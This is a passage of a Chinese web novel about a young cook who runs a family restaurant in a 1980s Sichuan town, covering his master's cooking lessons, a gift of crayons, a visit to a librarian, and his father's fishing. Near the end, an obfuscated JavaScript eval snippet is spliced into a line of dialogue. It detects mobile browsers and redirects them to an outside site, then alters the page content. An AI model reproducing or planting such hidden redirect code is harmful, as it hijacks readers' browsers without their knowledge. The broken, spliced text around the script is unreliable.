周砚：“啊？” Σ(⊙▽⊙“a？ 师父，你的底线这么灵活的吗？ “时代变了，我们要跟上时代才不会被淘汰。”肖磊见周砚目瞪口呆，笑着道：“我虽然跟着你师爷学了十多年厨，但71年也去工**学培训学习了一年，地址就在红旗餐厅，也就是荣乐园。 在那里跟着好多大厨、名厨学习，学到了不少技术，回来之后才当了厨师长。 现在的大厨跟旧时代不一样，他们乐于分享自己的技术，愿意传授自己的本事。特别是那批老师傅，只要你够勤快，他们都愿意指点你。 荣乐园作为蓉城饮食公司的培训基地，这十多年来，培养了很多优秀厨师，说是川菜的黄埔军校也不为过。 我天赋不太好，毕业后就回了苏稽，我有些同学留在荣乐园，现在都成特级厨师了。” 讲起年轻时候学厨的经历，肖磊的目光都温柔了几分。 周砚闻言点点头，荣派的说法他是有听说过的，在川菜派系中相当有名。 这么算起来的话，那他还能沾点边。 这个时代，确实有些特别。 “你订《四川烹饪》没得？那些大厨经常会在上面分享技艺，写的文章都相当有水准，你可以订一份，一年才一块六，从大师手头随便学点手艺，都是受益终生的。”肖磊向周砚强烈推荐。 周砚眉梢一挑，笑着道：“师父，上《四川烹饪》杂志的都是大师啊？” “那肯定撒，不是大师能上得去吗。”肖磊点头，带着几分感慨道：“这杂志的编辑厨艺不一定好，但找大师确实有水平，有些配方都直接写在文章里头，也不晓得是怎么说服厨师的。” 周砚倒是知道一点，首先要头铁，脸皮够厚，还要有不怕死的精神。 “我听说下个月那期有个大师很有水平，也要上杂志，你一定要记得看。”周砚认真叮嘱道。 “哪个大师？”肖磊果然来了兴致。 周砚正色道：“我现在也不好透露，反正你到时候记得看嘛，说不定我还能让你跟那个大师一起吃个饭。” “儿豁？你还有这种人脉？”肖磊有些惊讶。 “儿豁！”周砚点头：“这大师就是嘉州的，跟我关系铁的很，为人很谦虚，很好相处。” “你喊出来嘛，到时候我请客嘛。”肖磊点头：“我倒要看看是嘉州哪个大师，交流交流，能不能学到点东西。” “要得！”周砚点头，解了围裙把师父送出门，约好明天中午还来学火爆猪肝。 等人走远了，赵嬢嬢终于忍不住发问：“周砚，你师父来跟你学做火爆猪肝？” 正在抹桌子的老周同志也是看向了周砚。 “这叫厨师之间的互相探讨，互相进步，我的手艺都是师父教的，怎么可能教的了他。”周砚连忙澄清，这种欺师灭祖的话可不能乱说。 周沫沫本来拿着根小木棍在沙子上画画，听到声音立马跑过来，抱着周砚的腿就往上爬，像个树袋熊一样挂住，仰头看着他奶声奶气的撒娇：“锅锅，你带我去耍梭梭板嘛~~” 周砚伸手把她拎起来，笑着递给赵嬢嬢：“妈，你带沫沫去耍嘛，我和老汉把楼上的泥沙和石灰清了，明天把门一安，你们就可以搬新房间了。” “对，那点活我们来整就行了。”周淼点头。 周沫沫搂着赵嬢嬢的脖子，表情期待又有点紧张，软软道：“妈妈，求求你了~” “去嘛。”赵嬢嬢笑了，伸手解了腰上的围裙。 “木啊！”周沫沫开心的抱着她的脸亲了一口，“妈妈！你是天底下最好的妈妈！” “耍归耍，天一黑就要回家哈，要是天黑了还喊不动，下回就别跟我去了。”赵嬢嬢警告道。 “嗯嗯！！”周沫沫乖巧点着小脑袋。 …… 等周砚他们把二楼收拾干净下楼，就看到周沫沫嘟着小嘴，红着眼睛跑回来了。 赵嬢嬢跟在后边，手里还拿着一根细竹枝。 “锅锅！妈妈她坏坏……”周沫沫扑进了周砚的怀里，哭唧唧，眨着眼睛挤眼泪，可委屈了。 小家伙玩的满头大汗，刘海都被打湿了。 周砚看了眼外边已经完全黑了的天色，不用问都知道是咋回事，肯定是玩疯了不愿意回家。 “走，坏妈妈要带你去洗澡澡咯。”赵嬢嬢把细竹枝放在柜台上，将周沫沫从周砚怀里拎走。 “锅锅，救我——”周沫沫蹬着小短腿。 周砚默默别过脸去笑，他可爱莫能助。 周沫沫玩累了，澡洗一半都能睡着，小被单一裹，被赵嬢嬢抱上楼睡觉。 “今天不止一个客人问我们星期天开不开门的，你怎么打算呢？”赵嬢嬢下楼来，看着周砚问道。 “我这几天一直在思考这个问题，打算试试预约制，星期天中午营业，早上和晚上不营业，而且暂不卖跷脚牛肉和卤味。”周砚开口道：“想要来吃饭 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聚餐属于低频消费，但因为有社交属性，所以客单价普遍会高一些。 请客嘛，总要让客人吃的好一点。 纺织厂工人请客，很多请的不是本厂同事，那对于饭店来说能起到一个很好的宣传拉新效果。 这个赛道，之前是被国营饭店垄断的。 其他小饭店和地摊上不了档次，根本没法和有二级大厨坐镇的国营饭店相提并论。 周砚准备试试水，以挑战者的姿态，从国营饭店的嘴里抢块肉下来。 不过他的野心不大，只做中午这一顿。 不卖早餐和卤味、跷脚牛肉是为了能多睡会，一个星期总要让大家睡个懒觉，不然实在太紧绷。 不卖晚饭，则是为了放半天假，想去嘉州或者周边玩也有时间。 钱是挣不完的，得留点时间花钱，才能劳逸结合，越干越有劲。 这两天老周同志迷上了三国，也不和周砚下象棋了，入了夜就坐在灯下看书，看两个小时才去睡觉。 周砚不免有点担心，老周同志莫非人到中年，起了争霸之心？ 若是看到那句：大丈夫岂能郁郁久居人下？ 会不会产生挑战赵嬢嬢家庭帝位的心思。 其实周砚这段时间已经把三国看过一遍，等老周同志看完了，再去找大爷换一本。 那大爷还挺有意思的。 …… 第二天一早，周砚把可预约星期天中午那顿饭的公告立在门口，并且将详细规则写在下边。 果然早上就有客人来询问、预定，三五人的小聚居多，也有八、九人的家庭聚会。 “周砚，你总算愿意周日开门了，明天我姐姐、姐夫来看我老娘，本来打算带去国营饭店吃饭，现在带你这里来吃更巴适了！”赵东来得晚，进店刚好碰上周砚，笑呵呵道：“我这个姐夫在嘉州开酒楼的，总觉得他们飞燕酒楼的厨师厨艺嘉州第一好，口味挑的很，这次我要让他晓得啥子叫人外有人山外有山。” 求月票！~ (本章完) 第118章 饭下留画！（求月票） 中午肖磊如约而至，看得出来他对于炒出一份完美火爆猪肝有着极深的执念。 周砚可太乐意师父来了，毕竟是个眼里有活的男人，火爆猪肝全包的同时，还会帮着切切配菜什么的。 顶级墩子！ 不过极限总是容易接近，但很难突破。 中午又炒了十份火爆猪肝，能看得出细微的进步，但周砚眼底的词条并未出现变化。 【一份极其不错的火爆猪肝】 “师父，你这火爆猪肝炒的太好了！晚上还来吗？”周砚试探着问道，执念这种东西很唯心，如果他觉得自己做到了，那执念自然也就消了。 他的任务岂不就完成了？ “我觉得还差点意思。”肖磊放下筷子，摇头道：“跟你炒的相比还是差点感觉，跟你师爷炒的也有差距，晚上继续，以后有空还来，我就不信差那一丁点做不到。” “要得！你来嘛，随时欢迎。”周砚闻言笑了，他师父这张嘴还真是刁钻，这点差别都能尝出来，不好忽悠啊。 “我看你门口的招牌，明天中午接受预约，这是要抢国营饭店的生意哦。”肖磊笑着道。 “没办法，纺织厂这边的营业额已经见顶，想要多拉点客人，就得想办法扩大用户群体嘛，要把周末聚餐的人群吃一部分下来。”周砚看着肖磊道：“师父，国营饭店不会背地里搞我吧？” “不好说，你要把人家整的开不下去，那他们肯定也会想办法活撒。”肖磊笑着说道：“他们的厨师长范庆丰性格还是比较直，有几分傲骨在身上，一般不得做下三滥的事情。 但国营饭店的领导，就不好说了，苏稽镇上会出来吃饭聚餐的人也就这么一批，国营饭店要养活那么多员工，是有个生死线的。” 周砚闻言若有所思，小地方嘛，不光是打打杀杀，还有人情世故。 如今小叔摇身一变成了武装部长，在苏稽他倒也不怎么怕对方找关系压他。 但国营饭店十几二十号人手，铁饭碗要是被他砸了，说不定会搞出什么事来？师父的提醒倒是有些道理。 “怕锤子，现在严打嘛，他们敢做撒子？”肖磊见周砚表情严肃，笑着道：“大家开门做生意，菜是原罪，不行就多练，还能拿刀逼着客人上自家吃饭不成？” “国营饭店那些龟儿子就是日子太好过了，没得竞争对手，客人只能上他们家请客吃饭。” “那些服务员，鼻孔都是朝着天上的，客人问话爱答不理，甚至还会动手打客人，你说够无法无天吧？” 肖磊越说越激动，言语间满是嫌恶。 周砚听得一愣一愣的。 不愧是他师父，相当有见解！ 还有点野。 “好好干，以后周末要是忙不过来，你就喊我，我来帮你干，你给我按墩子的工资日结就行，再忙不过来，我把郑强也给你喊来。”肖磊看着周砚说道。 “要得！”周砚笑着点头，这可真的没法拒绝。 “对了，八号那场婚宴桌数已经定下来了，加了两桌，总计二十二桌，要的卤菜数量我写了个单单，你照着做就行。”肖磊又笑着说道：“到时候我也给你宣传宣传，就是不晓得能起的到好大的效果。” “师父的恩情还不完哦。”周砚感慨道。 摊上这么一个师父，真是他的福气。 一场婚宴几百号人，还都是尝过他的卤肉的，这种宣传绝对高效。 就这几天，周砚都瞧见了好几个熟面孔，冲着卤猪头肉来的。 周砚又道：“对了师父，昨天又有三个来订包席的，有一个时间冲突被拒绝了，还有两单时间合适，我就帮你们接了，分别是……” 他们师徒俩，一个开饭店，一个干乡厨包席，都有光明的未来。 …… 中午营业结束，肖磊回家午休。 周砚解了围裙往门口的躺椅上一瘫，一辆挂着两个绿色大包的二八大杠停在了他跟前。 “周砚，你有个包裹，签收一哈。”邮递员把车停下，一边从包里拿东西，一边说道。 周砚蹭的就站了起来，肯定是从山城来的。 包裹？不是信吗？ 夏瑶还给他寄东西了？ 邮递员把一个用油纸包了好几层的长条状包裹递给他，并让他签了字。 周沫沫已经从店里屁颠颠跑了出来，凑到周砚跟前，仰着脸瞧着周砚手里的包裹，大眼睛里满是期待：“锅锅，是瑶瑶姐姐寄来的吗？” 赵嬢嬢手里还拿着抹布，也跟着凑过来瞧。 “对，是她寄来的。”周砚笑着点头，已经看到夏瑶熟悉的字迹和落款。 包裹不大，但还有点沉手，周砚找到边，剥开一层又一层的牛皮纸，露出了一盒精美的——蜡笔？ “是好吃的吗？好漂亮的盒盒。”周沫沫凑过来看。 “不是吃的，是画画用的蜡笔，肯定是夏瑶姐姐给你寄的。”周砚笑着说道。 “真的吗？瑶瑶姐姐太好了！”周沫沫星星眼，高兴的快蹦起来了。 “夏瑶心太细了，看到沫沫用炭给她画画，还特意花钱买蜡笔给她寄过来，这要花好多钱哦。”赵嬢嬢也是一脸感慨。 蜡笔下边还有一封信，装在信封里，不过没贴邮票。 这姑娘还是聪明，该省省，该花花。 周砚把蜡笔递给周沫沫，笑着叮嘱她：“放在桌子上，让妈妈帮你打开，这是画画用的蜡笔，绝对不能吃，晓得没得？” “嗯嗯！晓得了！”周沫沫点着脑袋，双手接过蜡笔，转身递给赵嬢嬢：“妈妈，帮我开开！” “过来嘛。”赵嬢嬢接过蜡笔，放在桌上帮她打开，两排蜡笔二十四支，看起来非常精美。 “哇哦！好漂酿！”周沫沫自己爬上了长条凳，看到蜡笔眼睛一亮，顺便咽了咽口水：“看着好好吃哦！” “周沫沫，我警告你哈！这个吃不得，吃了要拉肚子。”赵嬢嬢把蜡笔往后挪了点，表情严肃地警告道。 “嗷……”周沫沫点头，身子又往前凑了凑，两眼放光的看着：“好多颜色啊，这是柿子的颜色、这是天空的颜色、这是屋顶的颜色、这是奶奶的头发 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昨日与室友去长江畔散步，不禁有些怀念苏稽江畔的风。 顺遂无虞，皆得所愿。 夏瑶。” 周砚盯着最后第三行看了一会，试图分析这段话作者想表达的情感。 可惜他做阅读理解的能力太差，分析不出来。 或许是苏稽的风比山城的风更凉快一些，所以让人怀念吧。 山城那地方，夏天简直是个火炉。 翻到下一页，是一副折叠起来的画，画上是一个小院，院里有个扎着双马尾的小姑娘，脚边是一只橘猫，旁边还有一只展翅的大鹅。 画是用蜡笔画的，整体布局按周沫沫给她寄的那一幅画来的。 炭模糊的线条和抽象的人和动物，变得清晰且传神，特别是画上的周沫沫，画的可太像了。 乡间小院的童趣，展现的淋漓尽致。 周砚不自觉的坐直了身子，盯着看了一会。 “哇哦！这不是我送给瑶瑶姐姐的画吗？变漂亮了！”周沫沫不知道什么时候凑到他身后，惊喜道。 “这是夏瑶重画的吧？画的真好！这姑娘可太有心了。”赵嬢嬢也是赞叹道，心头对夏瑶越发满意，可惜，唉。 “这是瑶瑶姐姐送给你的画，她说你的画她收到了，特别喜欢，觉得你画的特别棒，所以给你送了一盒蜡笔，让你下回用蜡笔画画。”周砚笑着把画递给了周沫沫。 “嗯嗯！”周沫沫小心接过，眼里有光，就像盯着宝藏一般，一边往饭店里走，一边嘟囔着：“蜡笔、颜色，漂亮！但是，花花怎么变成了橘子颜色的呢？” 周砚嘴角微微上扬，因为夏瑶她们在宿舍里藏了一只小橘子，以为奶奶家的也是橘猫吧。 “真好看，我帮你用米饭沾在墙上嘛，免得你两下子就撕烂了。”赵嬢嬢的声音传来。 周砚一下子从椅子上蹦了起来，转身冲进店里：“饭下留画！” (本章完) 第119章 不愧是大师，英雄所见略同 周砚冲进饭店，从赵嬢嬢的手中救下了那幅差点被米饭糊上墙的画。 赵嬢嬢和周沫沫一脸疑惑的看着他。 “这么好看的画，糊在墙上，要不了两年就会烂掉，先放在这里，我去买个相框裱起来。”周砚把画放在柜台上，拿了一块木板先压住，先把折痕压平来。 把画放好，周砚转身进了厨房，切了三两猪头肉装好，拿起昨晚老周挑灯夜读看完的三国一起丢车篮子里，推着二八大杠出门：“我去借书哈。” “现在借书还要拿猪头肉结账吗？”赵嬢嬢问道。 “顺道见个朋友。”周砚的声音从外边传来。 “他这是怎么回事？怎么一副画都要买个相框裱起来？”赵嬢嬢一脸疑惑地看着周淼问道。 “说明他对那个姑娘非常重视，所以想把她画的画好好保存下来。”老周同志分析道。 赵嬢嬢若有所思，笑着道：“可以哦老周，还是你懂得起。” …… 周砚骑着车先去了供销社，买了一个相框，大小刚好能把夏瑶那幅画放进去。 他倒是没想那么多，只是觉得这毕竟是夏瑶的画，应该更好的保存起来。 但这是夏瑶送给周沫沫的，他收到箱子里存着不太合适，拿个相框给她裱起来，不管是放在桌上还是挂在墙上，都不容易损坏。 对，就是这样的。 另外又买了一打纸，准备给周沫沫画画用。 然后他转到镇上的图书馆。 大爷躺在图书馆门口摆着的躺椅上，手里拿着本书正看得津津有味。 周砚把车停下，从车篮里拿出那本《三国演义》和一包猪头肉。 大爷听到动静，顺手就把手里的书给合上。 周砚隐约瞧见《金瓶…二字，外边套了一层书皮，看不真切。 当然，这两字也足够了。 大爷还真是性情中人。 “三国看完了？”大爷伸手推了一下掉到鼻尖的老花镜，瞧着周砚笑道。 “没错，大师推荐，看完受益匪浅。”周砚熟络的拉过一旁的小板凳，在大爷身边坐下，递上自己带的卤肉：“您尝尝我做的卤猪头肉，下酒好菜。” 大爷把书放腿上，接过油纸袋直接打开，瞧了一眼里边装着的猪头肉，伸手拈了一片出来，瞧了瞧，喂到嘴里，嚼了一会咽下，一下子坐直了身子，看着周砚有些诧异地问道：“以前桥头卖卤肉的张氏跟你什么关系？” “那是我奶奶。”周砚笑道。 “难怪，味道一模一样。”大爷也笑了，看着周砚点头道：“你这手艺继承的不赖，我好多年没吃过这么好的卤猪头肉了，你的店开在哪里？” “纺织厂门口，周二娃饭店，你哪天要是有空来，我请你吃饭。”周砚应道。 “好的东西，就应该给钱，不然怎么显得出你比别家好呢。”大爷摇头，带着几分小傲娇：“我有退休工资的。” “好。”周砚点头，那还是他可怜点，不知道哪年才能退休呢。 “今天想借什么书？”大爷问道。 “您看的啥？” “年轻人要少看点这种书，免得失了志向。”大爷脸不红心不跳道。 “那您给推荐一本？” 大爷开口道：“年轻人要看点有深度的书，进门左拐第三个书架，最上边那格，靠最里边那本，你拿回去看吧。” 周砚走进去，第三个书架靠墙，最上边一格，以他的身高都得垫脚才能瞧得清楚，伸手把最里边那本抽了出来。 “《围城》？”周砚有点意外，这书他听过，当然，仅限于听过，并未读过。 不过既然是大师推荐的，拿回去看看也无妨。 周砚拿着书出来，又在小板凳上坐下。 大爷低头，透过又滑到鼻尖的老花镜瞧着他：“怎么，你朋友又收到姑娘的信了？” 瞧瞧，大师就是大师。 周砚也不脸红，笑着点头，“他有两个问题，让我找大师问一问。” 大爷瞅着他，微微点头：“吃你三两猪头肉，问几个问题没问题。” “顷悉玉札，如见故人，这句开场白是什么意思？您给翻译翻译。”周砚问出第一个问题。 “说她收到你的信，就像看到你的人一样，很高兴。”大爷看了他一眼，“这姑娘比你有文化多了啊。” “大学生嘛，比我有文化才正常。”周砚笑道。 “大学生学的也就是那几本课本，你要是多看些书，谈吐见识不见得比大学生差。”大爷摇头，伸手一指立着一排排书柜的图书馆，“看完一个书柜，出门你就敢说自己是文化人了，一般文化人都没你看得多。” “要得，以后我多来借书看。”周砚点头，接着道：“信里末尾提了一句：她在长江边散步，有些怀念苏稽江畔的风。大师，你说这句话是什么意思？想要表达什么？” “你觉得这苏稽的风代指的是你？”大爷笑吟吟反问道。 周砚点头，又摇头，“不好说。” 大爷没回答，转而问道：“那姑娘是哪的人？家里兄弟几个？父母是什么身份？你又了解多少？” 周砚沉吟道：“在山城上大学的杭城人，家里情况倒是不清楚，但父母身份应该不普通。” 大爷看了眼周砚胸口别着的派克钢笔，笑问道：“她送的？” “对。”周砚点头，这笔他出门就会顺手别上，有时候记个账方便，拿出来还能装个逼。 “笔挺好，姑娘也挺好。”大爷笑着道：“不过人家指定是觉得咱们苏稽江边的风凉快，山城夏天的风可热得很。” “不愧是大师，英雄所见略同。”周砚点头，大师果然是有见识和深度的，起身准备走，又停下问道：“大师怎么称呼？” “姓汪，名然。” “汪大师，下回见。”周砚跨上车，骑上走了。 大爷看着周砚骑着车走远，起身拉开图书馆内的桌柜伸手拿酒，目光在旁边的盒子上一顿，手指一挑，盒子打开，里边整齐码着一盒子的信。 数百封装在信封里，贴着邮票，写了地址，却未寄出的信。 大爷站了许久，把盒子轻轻合上，拿了酒给自己倒了二两，把周砚带的猪头肉摊开，拿双筷子，自斟自饮，倒也悠闲自在。 …… 周砚转到邮局问了一嘴邮寄东西的方法，这才转回到饭店。 画已经压平整了，周砚打开相框，把画放了进去，把后盖卡上，支起立在柜台上。 周沫沫就在旁边看着他干活。 “放这，还是给你挂二楼墙上？”周砚问道。 “墙上！”周沫沫毫不犹豫道。< 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不管画的怎么样，她脸上的笑容和闪闪发光的眼睛是不会骗人的，她很开心，也很喜欢这份礼物。 还是夏瑶细心，因为一幅画就特意去买了蜡笔寄给周沫沫。 他这个当哥的根本没想到这一茬，只觉得她每天在门口的沙子上拿根小木棍也画的挺开心的。 晚上营业结束，周砚先出门和林叔跑了一趟步，回来把明天的预约订单盘点了一遍。 预定了九桌，人数最多一桌是九个人，其他多是三五人的聚餐。 还行，没预想中那么火爆，但也能坐满半个店。 按照周砚的计划，周末中午这一餐，预约上限为十九桌，以桌数为限，保证客人来了都会有位置，不用等餐，从而确保宴请用餐体验。 反正只卖一顿，菜品又不齐全，营业额肯定不如平时，那就主打口碑，不追求挣多少钱。 九人餐是赵东定的，点了六个菜。 他原本是想让周砚做卤味的，但被周砚婉拒了。 拢共才六十位客人，做了卤味又得卖一天。 明天中午营业结束后，他打算带爸妈和周沫沫去嘉州城逛一趟，置办一些东西。 今天下午门已经装上了，他还找张师在厨房里多砌了一个卤菜用的灶，和之前那个并排，统一规格。 现在店里这口卤锅，够饭店每天自卖的，要是下午再卤一锅，产能倒是能够翻倍。 不过，周砚开始考虑卖卤素菜的事情了。 卤藕片、卤土豆、卤腐竹、卤竹笋……可探索性极强。 周砚自己就挺喜欢吃卤藕和卤土豆的，现在卤猪货系列已经趋于稳定，他准备先弄口锅试试看卤素菜的水。 相比于肉，素菜成本可太低了。 藕和土豆才多少钱一斤？ 卤一下，价格不得翻好几倍啊？ 就算卖的便宜，那利润率也是相当可观的。 “床我已经铺好了，今天晚上我们住新房间，你回你自己房间睡了哈。”赵嬢嬢下楼来，看着周砚说道，脸上带着笑。 求月票~ 明天加更！   (本章完) 第120章 喜大普奔 （44k第一更！） 第120章喜大普奔（4.4k第一更！） 长条椅上搭木板，一面靠着墙就是一张床，床上铺的是周砚前两天买的新棉被。 房间里亮着一盏暖黄色的灯，除了一张床，就只有两个木箱子，看起来空荡荡的。 周沫沫身上裹着小被子，像个小青虫一样睡得正香。 赵铁英躺在床上，睁着眼睛四处瞅着，兴奋的根本睡不着：“老周，咱们这算住进新房了吗？” “当然算，还是楼房呢，水泥地，大白墙，还是二楼，比咱们之前缝缝补补的土墙好太多了。”周淼笑着点头，“周砚还是会安排。” “这小子，就像突然开了窍，说话办事变得牢靠了，晓得给妈老汉分忧咯！”赵铁英笑容满面，眼眶却有点湿润。 “那也是你生的崽，这么多年一点点养大，孝顺你是应该的。”周淼伸手把她搂住，轻轻拍了拍她的后背。 赵铁英把头埋在他的胸口，低声道：“那天晚上看着房子塌了，我感觉天都塌了，没想到这么快就有了新家。” “家人在，就是家。”周淼把她抱紧了几分。 窗外江水潺潺，让人很快便入眠。 …… 天刚蒙蒙亮，周砚就醒了。 没办法，生物钟已经养成了，睡得早，醒的也早，精神抖擞。 把钱箱从床底抽出来，揣了一叠在身上，今天中午就九桌客人，需要准备的菜不多，但早点出门，能挑到品质更好的食材。 随着卤肉上线，口碑迅速发酵，饭店的营业额已经连续四天稳定在五百块左右，毛利润有二百六七。 这两天熬猪油，买了半拖拉机青冈木当柴火，装修二楼，砌了一口新灶，买了个新锅，都是大额支出。 手里的现金还有762.62元。 算得上一笔巨款。 当然，这里边还有赵嬢嬢和老周同志的工资、提成没扣除。 现在跷脚牛肉一天稳定卖一百二十碗，六成的利润非常稳定，赵嬢嬢每天的提成约为八元，一个月工资加提成能有二百七十元左右。 店里的卤肉，靠着老周同志的花式切肉手法，营业额已经稳定在一百五十块钱左右，毛利也能做到六成左右，老周同志一天的提成就有十八块左右。 这钱周砚是乐呵给的，赵嬢嬢和老周同志可是天使投资人，这饭店是拿他们的家底开的，管他直接要分红都是应该的。 何况他们俩现在还是饭店的核心技术人员，少了他们俩，营业额哪能干到五百，这店都要散。 在店里帮忙，这可比老周同志杀牛强多了，工作量比杀牛的时候少了，每天早上跟着周砚去买菜，回来把鸡和猪头处理完，就在店门口的河边钓会鱼。 不过，已经连续空军四天。 昨天老周同志说了，纺织厂门口的码头每天船来船往，鱼都被吓跑了，今天要去以前的老窝子钓。 懂的都懂。 在赵嬢嬢眼皮底下钓鱼，钓不到就真钓不到，不好逛到菜市场买一条回来挽尊。 手里留三百买菜钱，中午营业结束后，周砚准备带上二老和周沫沫小朋友进城消费一波，去百货商店给这个新家置办一些东西。 如今二楼的状态，和家徒四壁也没啥区别。 周砚正准备出门，老周同志跟着下楼来了。 “老汉儿，今天不做卤肉和凉拌鸡，怎么不多睡会？”周砚看着他道。 “最近睡得比以前可多太多了，天亮就醒了，躺床上反倒难受。”老周同志从楼梯下把他前两天刚做的新鱼竿拿出来，笑着道：“早点去占窝子，赶个早口，看能不能钓到大鱼。” 这年代乡镇上的钓鱼爱好者的鱼竿，大多是用竹竿自制的，长一米八左右，更长就不方便携带了，太重也废手。 老周同志的手工活素来厉害，这根老斑竹用火烤过，绷的笔直，竿尖上绑的半透明的鱼线，浮漂是用鹅毛杆做的六颗截断的小浮漂，鱼钩也从原来的绣花针弯成的换成了买的鱼钩。 小金库额度充足的老周同志，装备比起一个月前已经有了较大的提升。 唯一不变的，是对空军的忠诚。 照理说不应该啊，周砚这段时间营业结束后沿河跑步，每天都能看到沿河两岸坐着不少钓鱼佬，每个人的鱼篓里都有鱼，有大有小，空军佬相当罕见。 青衣江不说瓢舀鱼，在这个电工尚未登场的年代，钓鱼应该不难，有手就行啊。 “老汉，你用啥子东西钓鱼啊？”周砚忍不住问道。 “蛐蟮儿嘛，我看他们都用这个钓，我专门挖大的挂，这么粗这么长的挂在上面，专门钓大鱼。”老周同志伸出中指比划着。 周砚闻言两眼一黑又一黑。 半根中指那么粗的蚯蚓挂鱼钩上，钓淡水鲨鱼呢？ 青衣江里倒也不是没有大鱼，但老周同志用的鱼钩也才小拇指指甲盖那么宽一点啊。 周砚不是钓鱼佬，但大学时候有个室友酷爱钓鱼，从手竿到路亚都精通，还在宿舍自制酒米，晒的跟个非洲黑娃似的。 他跟着去钓了两回，对手竿钓鱼的基本原理和方法是知道的，还钓到过几条鱼，确实有乐趣在里边。 不过钓鱼实在太容易晒黑了，作为一个颜值博主，最后只能放弃这个赛道。 长得帅也是有烦恼的，一般人很难体会。 “老汉，你今天去挖蛐蟮儿只要这么大点的，比鱼钩大一点点，从中间揪断，来回穿着挂在鱼钩上。”周砚看着老周同志说道：“再逛到他们榨菜籽油的作坊去，买一斤菜籽枯饼，抓一把用水泡开捏成一团，丢到你要钓的位置，等半个钟头开始下杆，这要是还钓不到你今天买鱼的钱算我的。” 老周同志听得一愣一愣的，这法子和他学的不太一样啊。 不过见周砚信心满满，他还是点头道：“好，就听你的。” 爷俩一起推着车出门。 对于钓鱼佬来说，能早点出门等同于休息了。 要是老周同志这还钓不到，那只能说明他是真的菜。 等会他去打一斤便宜的白酒，回来给他泡一瓶酒米，加点狠活。 天气一冷，就是钓鲫鱼的季节了。 鲫鱼好啊，做藿香鲫鱼用得着。 野生鲫鱼拿来煮鱼汤也是鲜美得很。 没办法，自己亲爹还不得自己宠着。 这一天天空军也不是个办法，太打击积极性了。 周砚买了菜回来，赵嬢嬢正坐在门口树下梳头。 周沫沫今天倒也起得早，披散着头发，正蹲在一旁跟出来觅食的蚂蚁嘀嘀咕咕： “蚂蚁蚂蚁，你们有名字吗！” “你们吃早饭了吗？” “我好饿，你们饿不饿啊？” 周砚笑道：“你嘀嘀咕咕说什么呢？” “锅锅！”周沫沫一下子蹦起来，蹬蹬跑过来，“我要吃面面！我饿了！” “早上不做面，给你们买了包子。”周砚从篮子拿了一个油纸袋，递给周沫沫：“拿稳哈，四个大肉包。” “肉包包！”周沫沫的眼泪已经忍不住从嘴角滑落了。 赵嬢嬢把头发随手一扎，顺手就把包子接了过去，一边往里走一边道：“我帮你拿，掉了吃锤子，先洗脸洗手，吃了包子再给你梳头。” “好！”周沫沫屁颠颠跟上，自己爬上了凳子，乖乖坐好。 赵嬢嬢把包子放桌上，去拧了热毛巾，给周沫沫搓了脸，又把手给她仔细擦了一遍，才从纸袋里拈了一个包子塞她手里。 这包子好大一个，周沫沫两只手捧着都合不上，小家伙脸蛋红扑扑的。 啊呜一大口下去，咬了一个口子出来，但没见着肉馅。 她嚼了嚼，点着脑袋：“好香！甜甜的！” 然后就着这口子又咬了一大口，还是没见着馅。 这下她有点不乐意了，回头看着一旁正在搬肉的周砚：“锅锅，肉肉呢？” 周砚看了眼她手里的包子，也忍不住笑了：“再咬一口，要还是见不到肉肉，我带你去找老板退钱。” 这年代的包子个大，皮厚馅少，主打一个管饱，但不管好吃。 周沫沫又咬了一口，这下咬到肉馅，眼睛一亮，回头冲着周砚笑：“有！看，是肉肉！” “那你吃嘛，下回锅锅给你做肉多的包子吃。”周砚笑着说道，他就是不懂包子该怎么发面，不然肯定给周沫沫做个咬一小口就吃到肉馅的肉包。 赵嬢嬢有经验的多，打了一碟酸萝卜和炮姜，就着泡菜吃的津津有味。 住在村里的时候，一般可舍不得买包子吃，早上都是熬一锅红苕稀饭，配着泡菜就解决了。 包子肉再少，那也有点肉荤，而且这包子软乎乎的，吃起来还有点甜，好吃！ 周沫沫吃一半，从凳子上溜下来，跑到门口把那小小的肉馅，给蚂蚁分享了一点。 赵红嫂子今天没来，只有九桌客人，又不做跷脚牛肉和卤肉，他们一家人就忙的过来，索性让她安心休息一天，免得来回跑这一趟。 临近中午，老周同志戴着草帽，扛着鱼竿，提着鱼篓回来了，脸上的笑容肉眼可见。 “爸爸！钓到鱼摆摆了吗？”周沫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200238|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沫问道。 周砚和赵铁英也跟着出来瞧。 “钓到了，三条！”老周同志笑着把鱼篓递过来。 周砚探头一瞧，好家伙，一条二两左右的小鲫鱼，一条黄辣丁，还有一条白条。 【野生小鱼三条】 系统给出鉴定结果。 喜大普奔，空军佬成功破龟啊！ 瞧给老周同志乐得，嘴都合不上了。 赵嬢嬢也凑过来看了眼，笑着道：“好小嘛，看你笑得那么灿烂，我还以为你整到大的了，没上回那两条大。” 老周同志不笑了，尴尬的挠头：“是有点小，下回钓大的。” 破龟太得意，倒是差点忘了这回事。 “也行，前几天都没钓到嘛，把鲫鱼和黄辣丁先养起来，哪天凑够一顿再杀来干。”赵铁英伸手接过鱼篓，往厨房走。 “给我看看嘛！我也想看看！”周沫沫踮着脚尖往前凑，急的都快跳起来了。 “呐。”赵嬢嬢给她瞅了一眼。 “哇！爸爸好腻害！又钓到鱼摆摆了！”周沫沫拍着小手，一脸崇拜的看着老周同志。 “乖，下次给你钓大鱼摆摆。”老周同志笑得眼睛都看不见了，还有啥能比自家闺女的夸赞更动听。 “你早上说的办法真的管用，菜籽油枯丢下去一会就来了很多鱼，就是钓不太上来，还跑了两条，下回有空再去试看。”老周同志和周砚小声说道。 “那挺好的，菜籽油枯管用，我就不浪费米和酒给你做酒米了。”周砚笑着道。 老周同志道：“米和酒成本太高了，我给刘武家杀过牛，菜籽油枯他给我算三分钱一斤，一斤就能用好久了。” 周砚从老周同志手里接过他的鱼竿，东西做的确实很精细，手把还用砂纸打磨过，持握感非常不错。 就是这线组吧，好像有点问题。 